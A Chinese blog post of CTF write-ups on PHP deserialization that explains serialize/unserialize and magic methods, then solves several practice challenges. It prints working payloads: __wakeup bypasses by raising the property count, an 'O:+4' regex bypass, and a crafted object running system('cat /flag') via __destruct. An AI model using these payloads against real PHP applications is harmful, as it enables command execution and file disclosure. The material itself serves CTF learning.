当前位置: 首页 > news >正文

每日进步一点点(网安)

今日练习题目是PHP反序列化,也学习一下说明是序列化和反序列化

1.PHP序列化

序列化是指将数据结构或对象转换为可传输或可储存的格式的过程。这通常需要将数据转换为字节流或者其他编码格式,以便在不同系统和应用程序之间进行传输或存储

在PHP中,可以使用serialize()函数将对象序列化为字符串,然后进行存储或者传输

2.PHP反序列化

反序列化就是将序列化后的数据转换为原来的对象,数据结构,变量的过程

在PHP中,可以使用unserialize()函数将序列化后的字符串转化为原来的对象或数据

3.魔法函数

在PHP中,魔法函数是指的是特定的函数,名称以两个下划线开始命名的

下面是一些常见的魔法函数

__construct :类的构造函数,在对象被创建时自动调用
__destruct :类的析构函数,在对象被销毁时自动调用
__get :当调用一个不存在的属性时自动调用
__set :当给一个不存在的属性赋值时自动调用
__call : 当调用一个不存在的方法时调用
__toString : 当对象被转换为字符串时自动调用
__sleep : 当对象被序列化时自动调用
__wakeup : 当对象被反序列化时自动调用

4.例题

4.1[攻防世界——unserialize3]

看这串代码,显示出来不是一个完整的PHP代码(括号没有完全闭合)

开始分析:

__wakeup()函数,看到这个函数,就会想到反序列化,对于上述代码中的xctf类中,有一个flag变量和__wakeup函数方法,当一个xtcf对象被序列化为字符串后,再次反序列化该字符串(wakeup方法的调用),就会重建该对象(xctf)

题目没有给出序列化,则需要我们自己生成出,然后给code传参

<?php
class xctf{public $flag = '111';public function __wakeup(){       exit('bad requests');            }
}
$a= new xctf();   
echo(serialize($a));   
?>
//上述代码就可以生成xctf的序列化字符串

序列化输出结果为:O:4:"xctf":1:{s:4:"flag";s:3:"111";} 

分析可知,当把序列化结果传参时,执行到wakeup方法就会成功反序列化,则打印“bad request” ,无法得到flag

所以就得绕过这个反序列化的操作,就是不能正确的将字符串反序列化

接下来就分析一下序列化结果

O:4:"xctf":1:{s:4:"flag";s:3:"111";}

O:表示被序列化的是一个对象

4:表示对象名 xctf 有4个字符

"xctf":表示对象的名称为 xctf

1:表示该对象只有一个属性

{}:表示该对象的属性列表为空

s:表示属性类型为字符串

4:表示属性名 flag 有4个字符

"flag":表示属性名为 flag

s:表示属性类型为字符串

3:表示属性值 111 有3个字符

"111":表示属性值为 111 

 这里的漏洞就是修改对象属性的个数,因为当序列化中的属性个数比实际代码中的属性个数大时,就不会执行wakeup方法,从而就可以使其报错,出flag!

改为:O:4:"xctf":2:{s:4:"flag";s:3:"111";} 

get传参:?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";} 

 这道题顺利解出!

4.2[攻防世界——Web_php_unserialize]

<?php 
class Demo { private $file = 'index.php';public function __construct($file) { $this->file = $file; }function __destruct() { echo @highlight_file($this->file, true); }function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 

上述代码,使用了php反序列化,可以通过$var来控制unserialize()的变量,所以漏洞在反序列化这里

分析源码,可以看出,需要绕过__wakeup()方法和正则匹配,才可以高亮显示出fl4g.php文件

第一部:绕过__wakeup()方法

和上一题一样,先生成出序列化字符串,然后改变里面的属性个数,进行绕过

第二步:绕过正则匹配

就是绕过preg_match('/[oc]:\d+:/i')对照上面的序列化字符串

分析:

[oc]:表示出现字符O或者C

\d+:表示匹配一个或者多个数字(d代表数字)

/i:表示不区分大小写

绕过原理: 

1.原正则表达式期望匹配的是 o 或 c 后跟一个冒号,然后是一个或多个数字,再跟一个冒号。
2.在 O:+4: 中,虽然 + 不是一个数字,但 PHP 在处理反序列化时,对于对象长度的解析会将 + 当作数字处理。因为在序列化字符串中,对象的表示形式通常是 O:对象名称长度:对象名称。当使用 + 时,PHP 会将其解释为一个较大的正数。
同时,由于原正则表达式没有考虑 + 符号,所以 O:+4: 不会被 /[oc]:\d+:/i 匹配,从而绕过了该正则表达式的检查。

//后面的执行代码
$a=new Demo('fl4g.php');
$a=serialize($a);
$a=str_replace(':1:',':2:',$a);//绕过反序列化
$a=str_replace('O:4','O:+4',$a);//绕过正则
var_dump($a);//替换后的结果
var_dump(base64_encode($a));//输出base64编码结果

注意:这里有个坑,这里的 file 变量为私有变量,所以序列化之后的字符串开头结尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00。

然后get传参得到flag

4.3[NSSCTF——[SWPUCTF 2022 新生赛]1z_unserialize]

可以看出这是一道序列化题目,利用__destruct()方法在销毁对象时自动调用来执行预定义函数,实现命令注入

分析代码,$a=$this->lt;$a($this->lly);这个意思就是$this->lt赋值给a,$this->lly作为参数传递给代表a的函数,就可以合并为lt(lly)

所以我们就可以通过构造一个恶意的序列化对象,将自定义的函数传递给$lt属性,然后将执行的代码传递给$lly,当对象序列化后再被反序列化,就是对象被销毁的时候,自动调用__destruct()函数,从而执行绕过操作

只需要把a变成system(),把lly变成flag或者cat即可

system(cat/flag);

进行构造代码

<?php
class lyh{public $url = 'NSSCTF.com';public $lt="system";public $lly="cat /flag";}$demo = new lyh();
echo serialize($demo);
?>

//运行结果
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

然后进行post传参,得到flag

 4.4[NSSCTF——[SWPUCTF 2022 新生赛]ez_ez_unserialize]

分析代码, 有__wakeup()方法,绕过该魔术方法即可

代码中告诉我们,flag在f111111ag.php中,所以创建对象时,把flag文件作为参数传进去

构造

<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x;}function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__;}}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php}
}
$demo=new X('fllllllag.php');
echo(serialize($demo));
?>

生成:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

修改为:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

然后get传参得到flag

 

 4.5[NSSCTF——[SWPUCTF 2022 新生赛]ez_ez_unserialize] 

打开题目发现没有东西,然后就下意识查看源码

发现有disallow,就会想到Robots协议,就可以看看robots.txt 

robots.txt 文件是一个纯文本文件,用于告诉搜索引擎爬虫哪些 URL 可以访问,哪些不能访问。它主要用于管理爬虫流量,防止服务器被过多的请求压垮

看到有/cl45s.php直接打开,显示php代码

分析代码,可以看到,对象销毁时调用__destrcut()方法,而flag就在这个方法中,只需要满足方法中的if语句 ,就可以得到flag,但是这里面如何改admin和passwd变量的值呢?就需要构造一下,将”admin“赋值给admin,”ctf“赋值给passwd即可,然后进行创建对象,再打印序列化后的字符串

<?php
class wllm{public $admin="admin";public $passwd="ctf";}
$demo=new wllm();
echo(serialize($demo));
?>

O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

然后get传参,得到flag

 

相关文章:

每日进步一点点(网安)

今日练习题目是PHP反序列化&#xff0c;也学习一下说明是序列化和反序列化 1.PHP序列化 序列化是指将数据结构或对象转换为可传输或可储存的格式的过程。这通常需要将数据转换为字节流或者其他编码格式&#xff0c;以便在不同系统和应用程序之间进行传输或存储 在PHP中&…...

宝塔php7.4安装报错,无法安装,php8以上可以安装,以下的不行,gd库什么的都正常

宝塔的依赖问题导致的问题&#xff0c;最后手动挂载后才解决。。。废了三天三夜终于搞好了。。。。无语&#xff5e; 建议&#xff1a;不要一直升级宝塔版本&#xff0c;升级前备份或者开服务商的实例镜像&#xff0c;方便恢复&#xff0c;不然&#xff0c;可就GG了&#xff5…...

SDL2:PC端编译使用

SDL2&#xff1a;PC端编译使用 1. SDL2&#xff1a;PC端编译使用1.1 安装必要的依赖1.2 下载编译SDL21.3 SDL2使用示例&#xff1a;Audio1.4 运行示例程序 1. SDL2&#xff1a;PC端编译使用 1.1 安装必要的依赖 首先&#xff0c;确保安装了编译SDL2所需的依赖库&#xff1a; …...

Windows 蓝牙驱动开发-蓝牙设备栈

蓝牙设备栈 蓝牙驱动程序堆栈包含 Microsoft 为蓝牙协议提供支持的核心部分。 有了这个堆栈&#xff0c;已启用蓝牙的设备可以彼此定位并建立连接。 在此类连接中&#xff0c;设备可以通过各种应用程序交换数据并彼此交互。 下图显示了蓝牙驱动程序堆栈中的模块&#xff0c;以…...

docker一张图理解

1、push 将本地的镜像上传到镜像仓库,要先登陆到镜像仓库。参数说明&#xff1a; –disable-content-trust : 忽略镜像的校验,默认开启 # 上传本地镜像myapache:v1到镜像仓库中。 docker push myapache:v1 1.2、search 从Docker Hub查找镜像。参数说明&#xff1a; –…...

RocketMQ、Kafka、RabbitMQ,如何选型?

如何根据应用场景选择合适的消息中间件? 分布式、微服务、高并发架构中&#xff0c;消息队列&#xff08;Message Queue&#xff0c;简称MQ&#xff09;扮演着至关重要的角色。 消息队列用于实现系统间的异步通信、解耦、削峰填谷等功能。 目前常见的MQ实现包括RabbitMQ、Rock…...

RabbitMQ故障全解析:消费、消息及日常报错处理与集群修复

文章目录 前言&#xff1a;1 消费慢2 消息丢失3 消息重复消费4 日常报错及解决4.1 报错“error in config file “/etc/rabbitmq/rabbitmq.config” (none): no ending found”4.2 生产者发送消息报错4.3 浏览器打开IP地址&#xff0c;无法访问 RabbitMQ&#xff08;白屏没有结…...

无公网IP 实现外网访问本地 Docker 部署 Navidrome

Navidrome 是一款可以在 macOS、Linux、Windows以及 Docker 等平台上运行的跨平台开源音乐服务器应用&#xff0c;它支持传输常见的 MP3、FLAC、WAV等音频格式。允许用户通过 Web 界面或 API 进行音乐库的管理和访问。本文就介绍如何快速在 Linux 系统使用 Docker 进行本地部署…...

pnpm add 和 pnpm install 的区别?

文章目录 1. pnpm add2. pnpm install3. 总结应用场景示例 在使用 pnpm 管理项目依赖时&#xff0c; pnpm add 和 pnpm install 是两个常用的命令&#xff0c;但它们的功能和使用场景有所不同。以下是详细的解释&#xff1a; 1. pnpm add 功能&#xff1a;用于向项目的 pack…...

Linux:文件描述符fd、系统调用open

目录 一、文件基础认识 二、C语言操作文件的接口 1.> 和 >> 2.理解“当前路径” 三、相关系统调用 1.open 2.文件描述符 3.一切皆文件 4.再次理解重定向 一、文件基础认识 文件 内容 属性。换句话说&#xff0c;如果在电脑上新建了一个空白文档&#xff0…...

CPU负载与CPU使用率之区别

在日常的性能测试与系统监控中&#xff0c;CPU负载和CPU使用率是两个常见的指标&#xff0c;它们经常被提及&#xff0c;但也经常被混淆。本文将为你深入解析两者的区别&#xff0c;以及它们各自的意义和应用场景&#xff0c;让你更清楚地掌握这些关键性能指标。 存储、内存和 …...

C++实现设计模式---外观模式 (Facade)

外观模式 (Facade) 外观模式 是一种结构型设计模式&#xff0c;为子系统中的一组接口提供一个一致的界面。外观模式定义了一个更高层次的接口&#xff0c;使得子系统更容易使用。 意图 简化复杂子系统的接口。为客户端提供一个统一的入口&#xff0c;屏蔽子系统的内部细节。 …...

仿射密码实验——Python实现(完整解析版)

文章目录 前言实验内容实验操作步骤1.编写主程序2.编写加密模块3.编写解密模块4.编写文件加解密模块 实验结果实验心得实验源码scirpt.pyusefile.py 前言 实验目的 1&#xff09;初步了解古典密码 2&#xff09;掌握仿射密码的实现 实验方法 根据下图仿射密码&#xff08;变换…...

【Qt 常用控件】按钮类(QPushButton、QRadioButton、QCheckBox)

按钮控件继承自抽象类QAbstractButton。 抽象类不允许实例化对象&#xff0c;内部定义纯虚函数。只能通过子类继承&#xff0c;重写纯虚函数的方式使用。 1. QPushButton 1.1 QAbstractButton中和QPushButton相关的属性 text按钮显示文本icon按钮图标iconSize按钮图标尺寸s…...

Amazon Relational Database Service (RDS)

Amazon Relational Database Service (RDS) 是 AWS 提供的一项完全托管的关系数据库服务&#xff0c;旨在简化部署、管理和扩展关系型数据库应用程序。通过 RDS&#xff0c;用户可以使用多种流行的关系数据库引擎&#xff0c;如 MySQL、PostgreSQL、MariaDB、Oracle 和 Microso…...

linux分配磁盘空间命令

使用命令lsblk查询linux磁盘空间时&#xff0c;发现空间并没有被分配完 如图&#xff0c;600G&#xff0c;但实际分配了一共199G&#xff0c;剩余500G&#xff0c;我们需要通过命令进行剩余存储的分配。 思路&#xff1a;创建新的分区->更新内核分区表->初始化新分区作…...

21_Spring Boot缓存注解介绍

前面我们通过使用@EnableCaching、@Cacheable注解实现了Spring Boot默认的基于注解的缓存管理,除此之外,还有更多的缓存注解以及注解属性可以配置优化缓存管理。下面我们针对Spring Boot中的缓存注解及相关属性进行详细讲解。 1.@EnableCaching注解 @EnableCaching是由Spri…...

【linux】grep、awk、sed实战练习(1)-template

一、grep常见用法 1.1.从文件中查找关键字符串 # 比如&#xff1a;查找/etc/nginx/nginx.conf文件包含"listen"的行 [rootecs_server test]# grep "listen" -n /etc/nginx/nginx.conf 52: listen 8088; 87: listen 8096; # 比如&#xff1a;查…...

UDP报文格式

UDP是传输层的一个重要协议&#xff0c;他的特性有面向数据报、无连接、不可靠传输、全双工。 下面是UDP报文格式&#xff1a; 1&#xff0c;报头 UDP的报头长度位8个字节&#xff0c;包含源端口、目的端口、长度和校验和&#xff0c;其中每个属性均为两个字节。报头格式为二…...

联想Android面试题及参考答案

请介绍一下 Android 的架构,并谈谈对 Linux 的了解。 Android 架构主要分为四层,从下往上依次是 Linux 内核层、系统运行库层、应用框架层和应用层。 Linux 内核层是 Android 系统的基础。它提供了底层的硬件驱动程序,包括显示驱动、摄像头驱动、音频驱动等多种硬件设备的驱…...

树莓派超全系列教程文档--(62)使用rpicam-app通过网络流式传输视频

使用rpicam-app通过网络流式传输视频 使用 rpicam-app 通过网络流式传输视频UDPTCPRTSPlibavGStreamerRTPlibcamerasrc GStreamer 元素 文章来源&#xff1a; http://raspberry.dns8844.cn/documentation 原文网址 使用 rpicam-app 通过网络流式传输视频 本节介绍来自 rpica…...

微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】

微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来&#xff0c;Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...

无法与IP建立连接,未能下载VSCode服务器

如题&#xff0c;在远程连接服务器的时候突然遇到了这个提示。 查阅了一圈&#xff0c;发现是VSCode版本自动更新惹的祸&#xff01;&#xff01;&#xff01; 在VSCode的帮助->关于这里发现前几天VSCode自动更新了&#xff0c;我的版本号变成了1.100.3 才导致了远程连接出…...

基于服务器使用 apt 安装、配置 Nginx

&#x1f9fe; 一、查看可安装的 Nginx 版本 首先&#xff0c;你可以运行以下命令查看可用版本&#xff1a; apt-cache madison nginx-core输出示例&#xff1a; nginx-core | 1.18.0-6ubuntu14.6 | http://archive.ubuntu.com/ubuntu focal-updates/main amd64 Packages ng…...

AtCoder 第409​场初级竞赛 A~E题解

A Conflict 【题目链接】 原题链接&#xff1a;A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串&#xff0c;只有在同时为 o 时输出 Yes 并结束程序&#xff0c;否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

如何在看板中有效管理突发紧急任务

在看板中有效管理突发紧急任务需要&#xff1a;设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP&#xff08;Work-in-Progress&#xff09;弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中&#xff0c;设立专门的紧急任务通道尤为重要&#xff0c;这能…...

Python如何给视频添加音频和字幕

在Python中&#xff0c;给视频添加音频和字幕可以使用电影文件处理库MoviePy和字幕处理库Subtitles。下面将详细介绍如何使用这些库来实现视频的音频和字幕添加&#xff0c;包括必要的代码示例和详细解释。 环境准备 在开始之前&#xff0c;需要安装以下Python库&#xff1a;…...

华为云Flexus+DeepSeek征文|DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建

华为云FlexusDeepSeek征文&#xff5c;DeepSeek-V3/R1 商用服务开通全流程与本地部署搭建 前言 如今大模型其性能出色&#xff0c;华为云 ModelArts Studio_MaaS大模型即服务平台华为云内置了大模型&#xff0c;能助力我们轻松驾驭 DeepSeek-V3/R1&#xff0c;本文中将分享如何…...

【碎碎念】宝可梦 Mesh GO : 基于MESH网络的口袋妖怪 宝可梦GO游戏自组网系统

目录 游戏说明《宝可梦 Mesh GO》 —— 局域宝可梦探索Pokmon GO 类游戏核心理念应用场景Mesh 特性 宝可梦玩法融合设计游戏构想要素1. 地图探索&#xff08;基于物理空间 广播范围&#xff09;2. 野生宝可梦生成与广播3. 对战系统4. 道具与通信5. 延伸玩法 安全性设计 技术选…...

Maven 概述、安装、配置、仓库、私服详解

目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...